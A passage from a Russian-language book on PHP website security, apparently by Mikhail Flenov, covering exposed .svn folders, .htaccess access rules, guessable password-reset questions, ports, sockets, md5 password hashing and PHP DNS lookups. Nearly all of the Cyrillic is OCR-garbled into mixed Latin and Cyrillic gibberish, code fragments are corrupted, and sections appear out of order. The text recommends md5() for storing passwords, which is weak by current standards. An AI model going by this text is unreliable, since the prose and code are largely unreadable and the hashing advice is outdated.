KoRUTYpaAOHHX alifon, TO CepBep OKAKETER MOX yrposol. KoHewHo, Aaias ci-
TYaUHs cOBGEM WD OGTACTH (DAHTACTHKH, HO BCe e HYAHO BCETAA PAGOTATH BMECTE
 annHHHCTPaTOpAMH.

XOBT CAYXH, STO FPYTNa XAKEPOB COTTA BXIONATS MHOKECTRO OeHs, KpYTHHX calf-
TOB, “yTh 7 He AMAZON.COM 1 YANex.ru, SKCTYATHPYS GaHATSHYIO YRIBHMOCTS B CHc-
Tewe ynpannenna koo SVN. JIET0 B TOM, 4TO 9Ta CHCTeNa COVIAET B KWKIOH nartke
cxpaiTyto noananky svn. Tlo wiee pas manka ckpsiTa, 10 s Web-Gpaysepa k Heil ne
OO Gbrrs n0cTyna. Ecaw Kaxofi-ro Web-Gpaysep nossoser nonywars sepes URL
A0CTYT K cKpbiT paiinan 1 nankaw, a nei Henomwayete SVN u1a nyGmkatum Gaiiron
TIPAMO Ha PAGOEM CEPBEpE, TO 9TO TEOPETHYECKH MOKET PHBECTH K 1POGIEMAN.

Brpoiew, 1 He Bwien nomThepacHuii srm cryxaw. He bepires, 4o amazon.com 1
Yandex.u HCIOYIOT CHCTEMY KOWTPOAA BEpCili MpANO Ha paGoriix Web-ceppepax, 1a
Cme W pmpemwiM ZocTYn K CKpTMM Katatoraw. B amvow cryuae Web-
PaIPAGOTHHKAM JOKH OMOTATS QIMHHHCTPATOD! W CTIEUHATHCTS! 10 GE30MACHOCTH.
‘M HETOBEK MOKET TETKO AOMYCTHTS OUIHOKY, THOIAM NPOCTO CBORCTBENHO OWMGATS-
‘8. F 4TOGH YMEHBUINTS BEPORTHOCTS OLIHGOK, HYKHO PAGOTATS KOMAHIAMH

Jlwke ecin b ABAACTECH PATpACOTHHKOM H He CHAZAHH C ATMHHHCTDHPOBAHHEM CEpB
P CBOEii KOMNANMH 1A TPOCTO CAITa, % PEKOMEHIYIO BN OMMAKOMHTES © Geaomac-
HocThio OC, KOTOpaA HCIOML3YeTCA Ha Baem cepaepe. 1A Linux-cHeTex, ec am
WPABITER MO CTHCTB, MOAETe MpOWITATS Moto paSory "Linux rnasawn xaxepa” [1].

Jlasaitre paccorpim npivep 3auurmia MySQL i Apache  onepauonnoli crcteme
Linux. M onycriew sauy cawoli OC, 0ToMy 4TO 370 OTIEbHAS 1 04€H Gobilas
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JInA CORIaHMS PeATsHO GE30MACHORO COETMHENMA HEOGXOTHMO CHANATA A pOBaTS
beck TpaduK. JLTA 3TOTO MOXET TPHMEHATECA TYHHEMpOBAHE TpadKa (TPadiK nepe-
aeTcR epes Kawan, wHBpyIoLA Aarusie) Wi Yke roTomsii mpotokon HTTPS, koto-

phii HErOKIYeT MPOTOKON SSL, HO TPEBYET YCTaHOBKH JOTOTHHTEBHSIX CepTHDM
os

Eille OIHAM_ HEOCTATKOM GI0BOTO METOZE ayTeHTWDHKALLH SBIACTER CAOKHOCTS
nomepRaH Gasei nOTB30BATENEH, 1 HCTIOTBIYIO GIOBYIO Ay TEHTHPHKALIIO 1 BCEX
KATAT07OB C QIMHHHCTPATOPCKHMH CLLEHAPHSMH CBOHX Calfros. Ha 31X caliTax s, pasy-
MCETCA, CMHCTBEHHA AIMWHVCTPATOP. A CCM Bb1 MAUIETE GOPYM, TAC HYKHO TIOC-
TABIATS ZOCTYIN THCA4AM MOTE30RaTeNeH? B STOM CTYHa€ TaKa SATA GYZET caepXite-
VEOGHOH 1 a6OmOTHO HeaXpbeKTHBHOR.

5.3.2. 3awmra cueHapues

npasamu AocTyna cepsepa Apache

Tipasa Web-ceppepa Hy i He TOTSKO 713 NPOBEPKH BOIMOXHOCTH AOCTYIIA, HO H %
2T cucHapHes 1 Kaxix-HGo dailios. ECTH y BaC €CTh KATATOT, A€ MAXOLATCR
WaGoHs! Wi (GaTH! CuEHAPHEB, KOTOPHIE TOTKO MOTKTIONAIOTES, HO HE JOMKHSI Bbl-
BATECA TIOTH3OBATEEN HATIPAMYIO, TO IOCTYT K TAKHM KATATOTAM CTEIYeT JaTpeTHTS.
Jlas 57070 cosaaen aitn hiaccess co CTEAVIOUIM COREPARHMEM:

Oxder Deny,Allow

Deny from a
Allow from 127.0.

1

B 970w npkepe Mt sanpeutacs atoGoH 20CTYN K aitny sepe3 Gpaysep, Kpoe ToKs-
HOTO KoMMHoTepa. Takiu 0GPAION, XAKEp HE CMOKET OBPATHTECA HATIPAMYIO K aiiaw
KaTAT0r2, ZIOCTYT OTKPBIT TOMbKO ciieHapaM Web-cepaepa, KOTOpHE HAXOIATCA Ha ca-
Mow cepaepe.

106k YIPOCTHTY YTpaBTEHHe CepBEPOM, cOMIANTE TaKYIO CTPYKTYPY CEpBepa, e
B OGHOBHOM KTATOre GYAYT TOABKO Te (GaliT! # CLIEHAPHH, KOTOPHIE AOKHB GHITh 10c-
Tymibt nomsaoBaTeto sepes URL. OcTansibie ¢afist 3 MPEATOSHTaI0 CrpyTMApOBaTS
10 THnaw (aGToHs! B OTH KaTaIor, HACTPOHKH B APYTOM, NOTKTIONAEMSIE CUEHApHH
B TpeTHil M T. 1) W YGPAT B OTAETBHbE KATAIOTH, [ YAWTeHRbH A0CTY sanpeuen
© nowoutsio Gaiina taccess.

aiitst CuieHapHen, KOTOpe He ZOMAH GBITS JOCTYIIHB NOTHIOBATEAM, MORHO YO~
PATH ZUke 30 MPEZETH! MAMKH, 70CTYTIHOR Web-cephepy. Cpeaut MONYApHSIX IpHMEPOB
TAKOTO MOIXOM8 — TaK TIOCTYMWTH PaspaGoTsHKH MOMYIAPHOTO JBWKKA 1% PHP —
Symfony. Koraa st cosaaete npoekr s Symfony, 10 B paGo'yio manky GyAT cKonpo-
Bl BCe HeOGXOTMMSIE SV 3aYCKa MPWIOKEHH GalLies 1 OHH GYIYT XOPOWIO CTPYK-
TypHpoBassi. B nartke Web Bbi MOKETE OMEILATS BCE, HTO JODKHO GbiTh ZOCTYTIHO 1%
‘Web-ceppica. HieHHo 5Ta nanka A0;kHa GBITs KOpHeBOR 11x cepaepa. Bee, 410 OKa-
KETCA 3 €¢ MpEENaMH, GYIET AKPHITO JI% MIPANOTO 10cTyNa W3 cTpoki URL. A 38
"peEnaNH STOMl MAMKH HAXOTATCA BOE HCXOTHHE KOTb! CaliTa.
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A KH3HH. VHMBEPCATHHOCTS OYEHS HACTO HECOBMECTHMA © TIOHATHAMI HpdeXTHBHO-
TH M Ge30MACHOCTH. Mol e MOCTAPAEMEA HAYUHTBCS MHICAHTS TAK, 'TOGH COVIABAENHIE
HaMH IPOTPAMMb! BHITIOTHATHCS HaHGOTee XpeKTHBHO.

TIoHMO Ge30macHOCTH Mt GyeM Takoke SATPArMBaTS BONPOC CO3IAHHA CAATOB, cro-
oGHuX 0GpaGaTIBATS BhiCOKNHE Harpyski. JLTA HAACANWA CaiTa, KOTOpSI GYCT Bbi-
IepAHBAT, Take Harpy3KH, Kak Facebook, Baw TIOHATOGHTCA HaMHOTO Goriee WHPOKSH
IMNa30H 3HaHMH, HO 3 BCE e TIOTPOGYI JAIOKHTS OCHOBY.

PaccuaTPiBaR TPHMEPH! TOTO, KaK X&KEp MOKET BSTOMATS CIICHADHH, HATHCAHHHE Ha
sssixe PHP, Mbi Gyew, KaK NpaBHI0, TIOZPASYMEBATS, 4TO Cepbep PAGOTAET 1o ypas-
nenem OC UNIX i onwoi s UNIX-OTOGHBIX cHcTem, Hanpiwep, Linux. Jleno
B ToM, 470 ocHoBHas 4acrs Web-cairon ¢ PHP-CUEHapHAMH PAGOTET 07 yipaserven
HMEHHO STHX OTIEPALIMOHHEIX CHCTeM. T10ITOMY [UTA TyMulero MOWHMAHHA MATEpHATA
BaM HEOGXOTHMO HMETS XOTS Gl TIOBEPXHOCTHOE MPEACTaBEHHE O KaKofi-1Gyab OC
cevefictea UNIX. A ecii B 3HaETe OCHOB GE30MACHOCTH 3TO CHCTEME, To Hau pas-
roBop Gyzer Goree MpoIYKTHBHBM. JI15 3TOMO % PEKOMEHIYIO BaM NPOSHTATS KHHTY
"Linux rasamn xaxepa” [1].

Menonssosanme Linux e 0G#3aTensHo. Jiso & MMy 3Ty KHHTY W BCe TDHMEpH K Hel
Ha MacOS.

B Aol Kivire GyZeT pACCMATPHBATHGA Cawas romyaspas 5 Miepiere caxska —
LAMP (Linux, Apache, MySQL # PHP), X0T% nepeyio GyKsy s Moew ciyuae Gynet
wensTs Mac. Ho wame nce e MoxHo yensiars LAMP, Ha T STHpEX KHTAX CTOHT.
GomsuwHCTBO caifTos B HermepHere i 10 MowX coGeTBeHHSIX caTop. 3a CBOI MPAKTHKY
5 COYIAT MHOO caltTOB Ha STON IIATHOPME H CAHTalo ee oueHS YIaUHON 1A HHTEpHET-
e

Hi O1IHA KHUTa He CMOKET CIEAATS H3 YenoBexa Xakepa. TOuHO Tak e HHKAKOH TPy He
‘czenaeT w3 oBesbaHbl seoOBeKa, 0 Kpafihei Mepe, Hi 32 2o noKonenme. Hyxaia z01-
Fa% 1 KPOTIOTMBAR aGOTa. B ITO KHWTe A He COBMPATCA HaYWHT5 KOTO-TO XaKEpCKOMY
HexycoTny. ECTH BBt KyTTH KHHTY TOTBKO H3-3 STOTO C/IOBA, TO, BOSMOXCHO, BAC AIET
pasouaposanme. Ho ecTi B MPHOGpETH e€ L1 MoTySeHwA 3HaHWH 0 Ge3onachocTH, T
MOKETe HalfTH 14 CEG% MHOTO HOBOTO W HHTEPECHOTO. 51, 0 Kpaiiel Mepe, Hazeiock Ha
70 1 cTamwn nepea coBof Taxyio sazay.

06 astope

Mens 308yr Miexain ©riewos, W 3 yanexaiocs nporpammuposanriews ¢ 1994 roza. Ilo-

cnemme 7 et A xusy b Kanaze Henaneo or TOOHTO H B TeseHHe S 7T paboTa Hax

'DEVHHEIMH TIDOCKTAMH 118 aMEPHKAHCKOTO Ocbca Sony. OTHH I3 KpYTHBIX TpoEKTOR,

KA KOTOPBIM MHe MpHXOTIAOCH paboTars:

O www.sonyrewards.com — calfT 37eKTpOHHO KOMMEPLUIH  GaHK B O1HOM dnaKoHe;

O www.wheeloffortune.com — caiir Tenenepesasn Wheel Of Fortune, anaror "Tlons
ayec” Jleonnna SikyGoiraa 5 Poccin. JTa nepenasa 10 CHX TIOp ONEHS OMYApHA
5 CLLIA, W calfr caTaeTes ¢ Gonbumm Tpadikom.
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€ro, To enmHcTBeRHHH CTI0COG pewmenuA MpoGAEMs — cGpockTs napos. M 370 mpa-
‘BwnsHbH 1 GesonacHBIA MOIXOR,

KOrza # Gbint aAMHHHCTPATOPOM COGCTBEHHOTO (OPYMa, TO KO MHE HACTO OGpAILATHCH
© npockGolf BoceTaHOBHTS 3aGhTHIH NapOT WAM OGHY.THTS €ro. Ho Kkak 2 Mory GeiTh
YBEPEHHSIM, HTO TOT, KTO OGPAINAETCA, AEFCTBHTENbHO ABIAETCH BIATETHIEN TPEOYENOfi
yuerTHOl 3amHc? B TaKiX CAYARX Ha CaTe IDH PETHCTPALIH TIOTH30BATEINO MOKHO
TIPEIOAHTS AaTh OTBCT Ha Kako-HMGY I BOIPOC, HAMPHMCp HA3BT MHOGHNOE GTI00.
ECH NOTB30BATeITs 3a65U1 113POT, TO MOKHO MIPELIOKHTS €My OTBETHTS Ha BOPOC.
TOT MeTOA paKbilie HEMOTB3OBAICS ZOCTATONHO HACTO, HO CEANAC OT HETO OTKATHIBAIOT-
%, XOTH GYKBATHHO Ha TIPOWLTON HEZEAE 5 C TAKHM CTOTKHYICA Ha caiite IKEA. Beso-
TIACHOCTS TAKOTO NIOZXOA CTHUIKOM HIIKA.

Jiyume peero, ec Bailia CHCTMa Gy €T MPEIIAraTh HECKOTSKO PayTHIHHIX BOTPOCOB, 3
OTBET HYXHO GYIIET BBOIITS BpYUHYI0, a He BHWPATS W3 crucKa. Ecan nozbsosares
3a6hu1 N8O, O MOIKEH Ca WWTH BOMPOC, KOTOpsI BHIOPET TPH PErCTpaL,
W CAMOCTORTE:bHO BBecTH orBer. HHKOTAa He HeroTsyiiTe sapatiee Onpeereibie Cr-
CKI C BAPHAHTAMH OTBETOB.

Tloka Bpoze Bee Kpackno, 1 HITITO He npeaBeuacT Geasl. Xakep He MOAET HaTh BOTpo-
Ca, KOTOPHIH BHGPAT OTHI0BATENS, H, TeM Gostee, OTBETa Ha Hero. Xopotio, Ho He co-
Bcen. BO BpeM HATHCAHYS KHATH % HALIET YATBANOCTS KA OTHOM 3 CAHTOB H COOGLINT
06 3TOM AAMHHHCTPATOPY. VASBHMOCTS GHTa CepBeSHAZ,  ATMHHHCTPATOp MOMPOCHT
MeHA TULBTEHEE TIDOBEPHTH GE3OTIACHOCTS HCTIOTIYEMHIX CLEHAPHE, HO He PACKDH-
BTS, B KT HaIBaHHe CaliTa, CCi & COGEPYC OMHCHIBATS BITON.

Boree yryGeHHoE HCGTCIOBANMHE He BHABAIO APYTHX YAIBHMOCTEH, HO MHE YAT0CH
3MOTYHTS TAGTMIY AGHHBIX O APETHCTPHPOBAHHBIX TIOTS3OBATEARX. T1pOaHATHIMPO-
Ban anmbie, 3 NOPIILICA TOWY, 10 OK0n0 70% oTBCTOB Ghun 0AHOOGpasHs. Hanph-
Mep, Ha BOTIPOC O IOGHNOM GTIOZe O4€HS HACTO BCTPEUATHCS OTBETH: THBO, GaHals,
omHBbe, GO  €ilie HeCKOTSKO BapHaHTOB. JIEHCTBHTE BHO, KOTAA BaM JATEIOT BOMOC
0 ete, T0 GOTLUIMHCTRO BLIGEPET CaMOE TIOMYAAPHOE 611010, KOTOPOE MIEPRHIM FPHICT Ha
Y. HHKTO e GYIeT BBUIYMSIBATS HHNETO CIOKHOTO. HeyIMBHTENHO, 'To 1o1Gop Ba-
PwaiTa oTheTa cTaHOBMTCR MpHMHTHBHOH 3214,

To e cawoe GHi10 W ¢ OTBETaMH Ha BOTPOCH O KTHHKE COGaKH, IOTYIAPHHE KIHIKI
MOAHO NEPEHHCIHTS 10 NATsuaM, B TAKAX CIYSQfX 10CTATONHO HMETh Xopourkii c1o-
BapL # HEMHOTO BPEMeHM 1 10AG0pa, H GOTbILIaS YACT YHeTHbIX arHcel GyaeT 8370~
waa.

Hy a €CTH XaKep CEphEIMO HLIETEH BYIOMATH ONPEXETEHHbIH AKKAYHT, TO OH 6e3 po-
e MOKCT MOFCKATS OTBTB Ha BOMpOCH THIA (TIOGHMOE GI020» WM (CTIOBHNbHH
LBeT» ke B COUMATHHBIX CeTAX. TIpH NIOMYAAPHOCTH H OTKPHITOCTH COUNRTHHBIX ceTeli
 MOTEHUAATHAIX KEPTBAX MOKHO YIHET OUEHb MHOTOE

ECH TIOHGK He TIONOT, MOXHO BOGTOTH3OBATHGA COUMATHON Wiokenepieii. Xaxep
MOKET COVIATH NOVIETSHbIH KKAYHT B COUMBTHHON CeTH C GOTOrpagHeil KpacHBoii
AemyuKH. CKOTBKO MyAHKOP (1K€ EHATBIX) CKOKET CBOF TIOGHMBIH IBET, eci W
'HATIHUIET IPHATEKATEIT5HaA GAORIMHK? TTPOCTHHE BOTIPOCH HE BLI3HIBAIOT MOAO3peHH,
2 MMEHHO WX CIpAIIMBALOT Ha CalfTax.
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Kaxaan caykGa sanycKaetcs Ha onpexeAention mopry. Y GOTBUIMHCTBE pacnpocrpa-
HEHHBIX TIDOTOKO0B HOMEPA TIOPTOB 3APAHEE OTPEZIAEHSI, HO MOTYT GBITh HAZHAYEHS 1
nposeaso. Hanpuwep, FTP paGoraer a nopry 21, a Web-cayGa — ia nopry 80.
Kaxasifi TCP- wan UDP-nakeT WIeHTHHUAPYETCs IP-a1pecom KOMITSIoTepa, KOTOpOMY
ON M0/KeH GHITH Z0CTARAEH, H HOMCPOM TIOPTA, 11O KOTOPOMY OPEXETACTCS CepBHC —
noyaTets nakera.

Jlan yaoBersa ochoswbi mopran Haswasewst wwiena. Her, o onpenensiors e 1
'MHYECKH, 3 MIPOCTO IPONHCAHE! B KOHIYpaulHoRHOM aiine (115 OC Linux oro daita
Jetelprotocols), 03TOMY AOBEPATS HMCHAM HE CTOMT, T. K. OHIH MOTYT GHTh HIMEHEHSI,
A8 W TIOpT, OGO 3aKpervien L 3a FTP, MOXET GHT: HCIOT3ORAN COBCPUIEHIO TPy~
ro c1yKGoR.

JU1A OMpEeeHHA TIOPTA 110 €10 WMEHH PHMENAETCR BYHKLIR getservbynane (), KOTO-
POH NEEAATE HIMA NOPTa H WM NPOTOKONA (1cp Wk Udp), @ B pERyKTATE M 0Ty~
e HoMep nopra. OGPATHAS OMEPAUIE BHTOTHAETCH C MOMOUO  ByHKIUH
getservbypost (), KOTOPO MIEPEACTCA HOMEP NIOPTA H WA TPOTOKOA. 3AEM HyAeH
npoToKo? JIeno B TOM, To opTst mpoToxo7on TCP 1 UDP pasiie. Topr 21 mporoxo-
72 TCP — he To e cawoe, w70 y UDP.

tro Taxoe nporoxon TCP i UDP? TCP — ocHoswoi npotokon Hirepera, koropsii
CTIONB3YETCA B HACTOAILCE BEMA IDAKTHYECKH Ha Kak1om wary. TIpHHun ero paoTst
JKTIOYAETES B TOM, HTO MPOTPAMMA-CEPREP HATYCKAST MPOCTYLIMBAHHE HA ONPEACIIEH-
HOM T1OPTY B OHIAHHH COCIMHEHMS CO CTOPOHH KIHEHTa. KHEHT YCTaHABTHBAET co-
MHCHHE ¢ CEPBEPON, H TIOCIIE STOTO MOXET NPOHCXOIHTS OOMEH AarHHMMH. TIo OKOH-
wan OGMeHa JaHHbIMI CocumHenne 3aKphinacTca. TIpH Nepeaave AQHHBIX MPOTOKOT
TAPAHTHDYET, STO ZGHHHIE GYIYT NIEPEaHbI BEPHO, W HH OTHH [1GKeT He GYIeT oTepsn
6TAT0AaPA CHETENE MOZTOEPKAEHHS NOTYHEHMS AGHHEX.

TpoTokon UDP OTAM4AETCA TeM, STO He YCTAHABTHBACT Coetutens. CEpep covnaer
COKET W IPOCYILIMBAHHE Ha OTIDEIENEHHOM TIOPTY, & KAWEHT NpH IEPEAAtE JRHHLI, He
YeTanaRIMBAR CoCIMMERHE, TIPOCTO OTNPARTACT AaHHSIC Ha cephep. [1pOTOKON He rapai-
THPYET LEAOCTHOCTH ZGHHLIX H WX J0CTABKH. ECH CEPBE HE A0CTYTIeH Wil NakeT fati-
HAIX IPOCTO 3ATEPAICA B CeTH, AQHHbIE GYAYT YTEpAHSL.

5.4.3. Coxetst

JIns CORTaHMA CETEBLIX MPOTPAMM (COVIAHHE COETHHENM H TIPHEMa/MIEPEatiH AGHITHX)
CTANIGPTOM A1e-DaKTO CTATH COKETH, KOTOPHIE NONICPAHBAIOTCA GOTHIMHCTBON OC,
Taxani xax Windows 1 UNIX. Mr Gylew paccmaTpwmars, bynKium i napaiensio
SHAKOMHTCS ¢ Tew, KaK pAGOTAIOT COKETH

EC bt paboTaTH © CETIMMH HA KaKOM-THGO S3BIKE NDOTPAMMPOBIHHA, TO dYHKIHH
PHP GyIyT Baw 3HIKOMH, 0COGEHHO HX TIApAMETphi 1 MPHHUAT paGOTH. EC:H e ¥ Bac
HET OMIBITA MPOrPAMMMHPOBAHHS CCTH, TO HEKOTOPHIE BOTIPOCH MIOKAKYTCA BAM CIOXHb-
M. OHaKo, MOBEPKTE Mie, KK (DYHKILHS HEOBXOMHMA,  OT Hee HHKYa HE JETbeS.

‘Cerenbie yHKIMM BOIBPAILAIOT B KaHecTE pesyAbTaTa wenoe 0. ECaH oo erbie
MY, SHINUT, B0 BpeMS BHOAHeHH (byHKuHH MPOMSOLTA OwHGKa. TekCTOROE OTHCA-
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1061 mpote GbL10 YTIPABTATS NpaBak, pacronaraiire Gali B OTIETSHEIX KATATOAX
0 Tunaw. Hanpwwiep, daitrst ¢ HacTpofixaws (inc, dat  T. 2) Tyuie Bcero NOMECTHTS B
N KaTanor, a7l WAGHOROB— B AYTO, & QalTH C GYHKIMAMH Ha A3biKe
JavaScript — b Tperwi. Henonmsewsie dalihi cLieHaphep Takke He CTOT pasGpackipaTs,
10 KATA/OTaM  PACTIOAOKHTS WX CIEAYET MAKCHMATSHO KOMIIAKTHO.

TIpasa Ha BHTOTHEHHE JO;KH! GBITh TOTHKO Y TeX Qaibios, KOTOpHM 910 KeHCTBHTE -
1O HeoGxomuwo. Hanpuwep, daiirsi ¢ Kowanztawh JavaScript Aomkisi Mwers npasa
TOTKO Ha STEHHE, HO HHKAK HE Ha BHTOTHeRHE. Takwe GaiTol BHTIOTHAIOTCA Ha CTOpO-
He KIWHENTA, & cepBCpY AOCTATOHO DA Ha “TeHHE, WTOOH! NPOCTO NEPeT baikr KTk~
ey,

KowpurypaunonHsie aiiiss ¢ pacumpenvie php IOKHE WMETS MpaBa Ha BHITOTHERHE,
TG GHit BBITOAHATHCS Ha CEPBCPE  HE NIEPEAABATHES KIHEHTY.

HyJ010 y4HTHBATS IPaBa 0Ty He TOTHKO K PalIaN, 1O W K€ GEAM AHHSIX, TpaRa
‘VAGTEHHORO TIOIKTIONEHH K CCPBEPY, Ha KOTOPOM PAGOTAET GOl H . 1.

3.3. Kax B3namersator cueHapum

1058 TIOHATS, KA SALINTHTECA OT XAKEPa, HEOOXOTIHMO SHATH, KK AEHCTBYIOT XaKepH,
1 00 5Tow 3 yke He pas roBopwt 1 Gyzy ronopis. Jlysui crieusaHet o Gesonacio-
TH— 57O Xaep, a AySIHH XaKEp — ITO CTIEUHATHCT 10 Ge30MacHOCTH. Takimw 0Gpa-
30M, 4TOGH! CTATS TYMILIMM, HYAHO PACUIMPATS CBOW SHAHYS B OGOMX HANDABTEHHAX.

C 4€ro HasHHaT? 3aBHCHT OT TOFO, Ke Bbl XOTHTE CTaTh. EC/H BAIOMIIIMKOM, TO HEal-
XOTHMO HGHATS W3YHCHHE CPEACTA ALK, ECITH CIEWHATHCTOM 10 GE30NaCHOCTH, cie-
YT HNHHATS HIYiEHHE CO CPEACTB BTOMA. Ml CTDENHMCA K GE30MIaCHOCTH, NOSTOMY.
Gyzew mBATTECS 0T CTI0COGOB BIONA.

B MHHOM pAVIETe MEI TIOSHAKOMMMCA C METONAMH BIIONG H OCHOBHBIMM CTIOCOGANH
SAILUTH OT STHX METON0B. B CTEYIOLIEM PAsIETe Haw DEICTOT NOTOBOPHTS O Geso-
‘nacHocTH Goee MOIPOGHO.

JTi0G0f BAIOM HaUHHAETES ¢ HCCTEAOBaNHS. ECAH XAKEp XOHET BIIOMT CepBep, TO O
wsysaer ero OC i cryAGh, KOTOPHIE PAGOTAIOT Ha cepaepe. B IaHHOM CYHaE Mol 3a-
LMaEN CUEHapHH, MOITONY ZaBAMTE MOCMOTPHN, 4TO 31€Ch MOAET JaMHTEpecOBaTS
XAKEPR H KaK OT Hero MOKHO ALIATHTECS.

B cysac ¢ CaliTawi, XaKep MOKET HANATS H3YNEHHE CHCTEMH! C OTIPEETEHHA CTPYKTY-
PH, T.e. KAKHE KATAIOTH HCTIOTBSYIOTCA, KAKHE HMEIOTCA (Gaiiisi CLEHapHEB i ..
BSIOMUKY HYKHO NIOTYWHTS KaK MOXHO GOThile MHQOPMALIH, STOGH mpoute Gou10
paGorars.

Ouews HaCTO MPOTPAMMHCT COXPaHIOT Ha calfre CTapsie nepei cuewapwes. Hanpi-
Mep, Qailn cueapus HaswBaeTCA index.php, a MPOTPAMMHCT HATIHCAT HOBYIO BEPCHIO.
Tlpeae wem OGHOBIATS Gaii, OH NEPEHMEHOBHIBACT TekyIIyIo bepeiio B index bak win
index.old, a noToM ke KomMpyeT HOBYI0 BepeiIo. Taxi OGPajow, ecni OGHOBTEHHAR
TIDOrpaMMA He GYIET PAGOTATS, TIPOCTIM MepeHMEHOBaHMHeM (BaRion MOKHO BepHyTbCS
K cTapoit nepcim.
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KpuTal k0. Takin 0Gpasow, OTKPITH KTIO% MOKET Ge3 onaceruli MepeasaTses o
OTKPHITHIM KAHATAM CBA3H, TIOTOMY SO C €70 TIOMOULSHO HEITs34 PACIIHGPOBATS AaHHEIE.
3akpHITHI KTUOW B CONPAHAETE Y CeGR /1A ZeLIMPPOBAHHS.

AcHwneTpHabH METOX Hanexsee. HeT, aITODHTMS! CHMMETPHIHOO WHDPOBAHHS
TakoKe CTOFiKI K ATAKEM XaKEPa, HO TIDH ACHMMETPHHOM METOE, €CTH BBI HHKOMY He
RATHTE CBOM SAKPHITH KTION, €T0 HEBOSMOKHO GYIET YIHATS,  SHASHT, 1A BYIONA
NWIETCR HCTIOMS30BATH TOMSKO AYNBIA IEPEGOp BCEX BOIMOKHBIX KikoveH. ECTH Bt
covnaTe Kkiow, AHHOF b 1024 CHMBOTA, TO JATPAT Ha iepeGop GYAYT upeIBbINaHHO
BHCOKH. OHAKO HUKTO He 3ACTPAXOBAH OF OWHOKH B PEATHSAUH ArOpHTMA. ECTH
TIPOTPAMMHCT ZIOMYCTI OUIHOKY, TO GYIET BOSMOKEH B3IOM # Ge3 MOTHOTO nepeGopa
Bcex BapHawToR.

3.10.3. Heo6patumoe wuposakue

Tlocneanni MeToz, KoTopbi HaM NPEICTONT PACCMOTPETS, — HeoGpamiumoe uaiposa-
e, JIaHHAIi METOR OTTHMAETES OT OMMCAHNSIX PANCE TOM, 'TO HETOTEIyCMB aTro-
PHTM IDEOGPAZOBHIBIET ZGHHHIE TOTHKO B O CTOPOHY, OGPATHOE MPEOpAIoBaIHE He-
BOIMOAHO. aten 5To HykHO? HeoGpATHMeIH METOA Hallle BCETO NPHMERSIOT ATA Q-
poBaiA naponei. Kak e TOrA MPOBEPHTS, MPABKTLHO /I MOALIOBATEINs BBEN N1APOTL?
Oenb A MPOCTO: BRCICHHHIE JAMHHE TaKKE WIHDPYIOTES, W PEIYTSTAT CPABHHBAETES
© SAUMPPOBIHHEN NAPOTEN, XPAHALUIMCA B Gave. ECTH 3T SHASCHHA COBTATAT, TO
TIApOITh BBEEH BEPHO, WHANE ABTOPHIAAS HEZOCTYTIHA.

Jlnn unnposanna weoGpammein oGpasow » PHP neronsayeren (ymwuman mds (). Cre-
AYIOUMH MPHAEP MOKATHIBAET, KaK B MOXETE SAUIMOPOBATS NaporTh:

snd_pass = md (spassword) ;

B pesyuTare B MepeMEnHOf $nd_pass GYIET HANOMATICH SAUPpOBaNHIH HeoGpaTH-
MM OGPAION NAPOLT 3 NEPEMENHON Spassors. Terleph MOGNOTPHM, Kak MOKCT 1po-
HCXOITS MPOBEPKA NapoA MOL3OBATEAA:
s (o5 spassworc)
i
11 Basopusauin sposna yeneao
i

nane)

$md_pass) and (susernane:

3.10.4. TTpaxTUKa UCMONB30BAHUA WMPPOBAHUA

ACHMMETpHUHSH METOX BBIGHPAIOT TOFA, KOTIA SAUMGPOBAHHBIE JAHHKE NEPEROTCA
10 ceTn. EGan JaHHHE MEMOTIYIOTA TOMHKO CaMOH CHOTEMOH H HE IEpECexaIoT ee rpa-
WS, TO MPOLIE BLIGPATS CHMMETpHHII MeToz. Hy a ecin AaHe HeHyKHO pacud-
POBBIBATS, TO TYT OIHOTHANHO XeUIWPOBAHHE HEOOPATHMuiM WkbpoBarHeN. Tlapon
HHKOTAA He BHBOTATCH Ha Web-CTPAHHIE, H HAM HE HYKHO JWKE SHATD, 4TO HMEHHO
VKAIHBA TOTS30BATEN MpH perHCTaUIH.

Ecan noi sbi6pamm (ywkuio ms () A1 WH(poBakwA napofel, To Ao oTaaRATS
Geie OTHET, HTO BOCCTAHOBHTS NAPOTH GYJICT HEBOIMOAIO. EGAM MoMb30BaTe s 33687
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5.4.1. Pabota c DNS

Bee Mt IPHBBIKCTH PAGOTATS © CHMBOTLHBIMM apecanH KoMTsioTepoB b Himepriete, HO
TOTBKO HHTEHET He MOXET C HiMM paGOTaT, Ge3 crewsasHoi cayxGs DNS (Domain
Name System, cyx0a swen 20MeHOR). JI1 AIPECaLH KOMITHIOTEPOB B CETH HCTOT-
aylorea HcioBse IP-a1peca, @ CHMBOTHHHIE 0B — 3TO BCErO THII TICEBIORHMS.
Korza Bt 3anpauisacte cocammenHe ¢ CEPBEPOM 110 CHMBOTBHOMY HMCHH, TO CHataza
10 s npeppauactcs B IP-a1pec ¢ IOMOUIbIO CTyAGH DNS, H TOTHKO MOTOM MpoHC-
Xom coenente ¢ noryebiM IP.

Hrak, ws onpexenenns IP-atpeca MCnomsyioTca” dyHKH gethostbyname() W
gethostbynanel (. OGEHM (YHKIASM HYKHO IEpEAaTS HMS KOMTIOTEpa, IP-azpec Ko-
TOPOFO Bbi XOTHTE yaHaTh. B KINECTBE PE3yBTATA (GYHKLI gethostbymane () Bo3Bpaa-
T nepaui waiizenui IP-azpee, a gethostbynamel () — CIHCOK BCEX HAFIEHHbIX a1pe-
0. J[E0 B TOM, HTO 33 OIHHM HMEHEM MOKET GHITh SKPETLIEHO HECKOTsKO P-anpecos.
ECI nam HYAHO TIPOCTO COVIATS COEAMHEHHE, TO MOKHO BOCTOMBI0BATEEA e
Gethostbynane (), JTOrO BNOTHE AOCTATONHO,

PaccmoTpHM pHwEp onpeneenns TP-411peca 110 IOMEHHONY HMEHH:
<zhe

$host_ip = gethostbynane (", yahoo. con)

Print (" Yahoo Te-ampec: Shost_ip"

Hioraa Guisaer HEOGXOAMMO BHINOTHATS OGpATHYIO OrEpaILio — MpeoGpasoRaTs
IP-azpec B 2oweHHOE WA, JIAA STOTO MCTIOTH3YETEA QYHKINA gethostbyadd (). ER
HYAHO TiepeaTs IP-A1pec, a B PERYLTATE MbI OTYHM JOMEHHOE HMA:

Sname=gethostbyaddr (*127.0.0.17)
print ("Your conputer nane: Snane”

'V KGKIOTO CHMBOTHIORO WMENH OGRITENLHO T0mKei GuiTh IP-atpec, WHate ceresoe
coemmenne Gyer HexocTyrHo. Ho npw 3TOM He y Kakzoro IP-a1peca ecrs W, Wi,
